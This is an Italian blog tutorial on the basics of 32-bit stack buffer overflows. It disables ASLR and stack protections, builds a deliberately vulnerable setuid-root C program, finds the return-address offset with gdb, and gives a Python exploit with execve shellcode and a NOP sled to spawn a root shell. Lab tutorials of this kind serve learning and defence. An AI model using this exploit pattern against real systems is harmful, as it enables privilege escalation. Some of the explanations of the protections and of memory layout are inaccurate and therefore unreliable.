Buffer Over-Flow |le basi|

Uno degli attacchi informatici più efficienti è sicuramente il buffer-overflow che permette di prendere il controllo di un sistema causando, appunto, un overflow al buffer. L’obiettivo di questo attacco è quello di riempire il buffer con dati inutili al fine di farlo traboccare (da qui il termine), una volta causato l’overflow viene sovrascritto uno dei registri con un codice malevolo che viene eseguito facendo, solitamente, aprire una root shell (nel caso il sistema sia linux-like) che quindi permette all’attaccante di prendere il controllo sulla macchina.Un attacco di questo tipo è molto complesso da eseguire, per questo bisogna partire dalle basi.

Prima di iniziare è importante ricordare che esistono due tipi di architetture: x86 (o a 32 bit, più obsoleta) e x64 (o a 64 bit, più moderna). Le differenze tra le due architetture rendono completamente diverso il modo in cui eseguire l’attacco. Per questa volta useremo un sistema operativo a 32 bit, più precisamente: Ubuntu 12.04.5 versione Desktop che lavora appunto a 32 bit.

 

Un’altra cosa importante da sapere è che nel sistema operativo sono presenti molte protezioni per difendersi da questo attacco, più precisamente: ASLR, stack canary, NX e PIE. Andiamo a vedere nel dettaglio queste misure di difesa:

ASLR=Questa tecnica (usata per rilevare attacchi di tipo buffer-overrun)  rende casuale una parte degli indirizzi delle funzioni più importanti. In questo modo l’attaccante dovrà andare a cercarli manualmente; per superare questo limite basta tenere traccia dei vari errori e prima o poi si otterà l’indirizzo corretto dove reperire le varie informazioni.
A seconda del valore che gli viene assegnato cambia il suo stato:
0= viene disabilitato
1=vengono randomizzati solo gli indirizzi presenti nell’heap e nel VDSO (parte del kernel che si occupa della selezione della routine tra kernel-space e users-space)
2=viene effettuata la randomizzazione completa.

Stack-canary= questa tecnica permette di rilevare un attacco di tipo buffer-overflow. Consiste nel inserire un canarino (ovvero una variabile di valore prestabilito) all’interno dello stack, ogni volta che viene effettuata una modifica nello stack viene effettuato un controllo sul canarino. Se il canarino è vivo (ovvero ha lo stesso valore): l’esecuzione continua; mentre se non è vivo (ovvero ha cambiato di valore o non è più presente nello stack) l’esecuzione termina.

NX= è una tecnica che consiste nel contrassegnare una parte di memoria in modo che questa non possa eseguire istruzioni ma solo memorizzare dati.

PIE= permette la randomizzazione degli indirizzi delle funzioni in modo che l’attaccante non possa usufruirne. Il sistema per essere a conoscenza della posizione reale utilizza la PIE table, ovvero una tabella nascosta in cui sono memorizzati gli indirizzi reali.

 

Esistono due tipi di attacchi:

-stack attack= se il codice risiede nello stack (ovvero l’area di memoria di tipo statico in cui vengono memorizzati i metodi e le funzioni).
-heap attack= se il codice risiede nell’heap (area di memoria di tipo dinamico in cui vengono memorizzati i vari oggetti  istanziati).

 

Per iniziare con questo attacco di prova dobbiamo creare un file di tipo C contenente un buffer che faremo traboccare con un apposito exploit. Il file (che per convenienza rinomineremo “vuln.c”) dovrà avere questo contenuto:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

Altra cosa importante è disabilitare le funzioni di sicurezza e creare il file eseguibile del codice riportato sopra. Questa volta bisognerà aprire il terminale e immettere i seguenti comandi:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

N.B. quando ad un comando viene anteposto un cancelletto (#), significa che per lanciarlo bisognerà essere un utente root (usare il comando: sudo -s).
Per lanciare i comandi dalla seconda riga in poi bisognerà posizionarsi nella cartella in cui abbiamo creato il file .c.

 

A questo punto useremo il programma gdb (ovvero il debugger di GNU); per prima cosa bisogna posizionarsi nella cartella dove è presente il file .c e lanciare il comando

$ gdb -q vuln

Ora dobbiamo disassemblare il main() per vedere le varie istruzioni in assembler al fine di capire come è strutturato lo stack; quindi eseguiamo il comando:

(gdb) disassemble main

 

Lanciando il comando precedente verranno stampate in output tutte le operazioni con assembler. Dopo questo dobbiamo verificare se l’overflow è possibile e quindi lanciamo il seguente comando (in questo modo andiamo a riempire il buffer con il carattere ‘A’ ripetuto 300 volte):

(gdb)  r `python -c 'print "A"*300'`

e se nei messaggi di output vediamo scritto “Segmentation fault” significa che il buffer-overflow è fattibile, quindi lanciamo il seguente comando.

(gdb) p/x $eip

 

Arrivati a questo punto verifichiamo che l’output sia: 0x41414141. Ora cerchiamo di capire cosa è successo all’interno dello stack.

stack-layout(x86)

Osserviamo bene l’immagine qui sopra, la parte colorata in verde rappresenta il buffer, di grandezza 256 byte, ovvero la parte che abbiamo riempito con 300 ‘A’ (in realtà le ‘A’ inserite nel buffer sono 256, le restanti 44 sono andate a sovrascrivere le sezioni sopra al buffer; questo perché il buffer inizia dal basso e cresce verso l’alto). Il nostro obiettivo è quello di sovrascrivere il return address con la shell-code, quindi abbiamo bisogno di un indirizzo mirato e per ottenerlo dobbiamo riempire il buffer (che come sappiamo è grande 256 byte) poi sommare lo spazio di allineamento (grande 8 byte) ed infine il $ebp (grande 4 byte). La somma di questi elementi risulterà 268 byte che rappresenta l’offset per raggiungere l’indirizzo di ritorno. Possiamo testare che il numero sia corretto inserendo la seguente stringa (in questo modo riempiamo buffer, stack alignment e $ebp con il char ‘A’ mentre il return address è riempito con il char ‘B’):

(gdb)  r `python -c 'print "A"*268 + "B"*4'`

e verificando che il contenuto del registro $eip sia 0x42424242 (ovvero “BBBB”). Per analizzare il registro ci basterà lanciare il comando precedente:

(gdb) p/x $eip

 

Ora che abbiamo verificato la possibilità di overflow creiamo il file python contenente l’exploit e la shell-code. Sempre per comodità chiamiamo il file exp.py e riempiamolo con il seguente codice

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       
              
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

Fatto questo lanciamo da terminale il comando:

$ python exp.py

Se i procedimenti sono stati seguiti in modo corretto dovremmo ottenere una root-shell.

N.B. Il file python per funzionare necessita di una modifica che varia da sistema a sistema. Infatti la posizione del ret_addr ha bisogno di essere “aggiustata” con un offset che cambia a seconda delle variabili d’ambiente. Il modo migliore per ottenere l’offset corretto è eseguire un brute force automatizzato in cui aumentiamo di 1 l’offset ad ogni iterazione. Segui questa guida se non sai come fare

Se hai qualche minuto guarda gli altri articoli

CREDITS:  Sploit-fun e “Smashing the stack for fun and profit”.

 

Annunci

Rispondi

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione /  Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione /  Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione /  Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione /  Modifica )

Connessione a %s...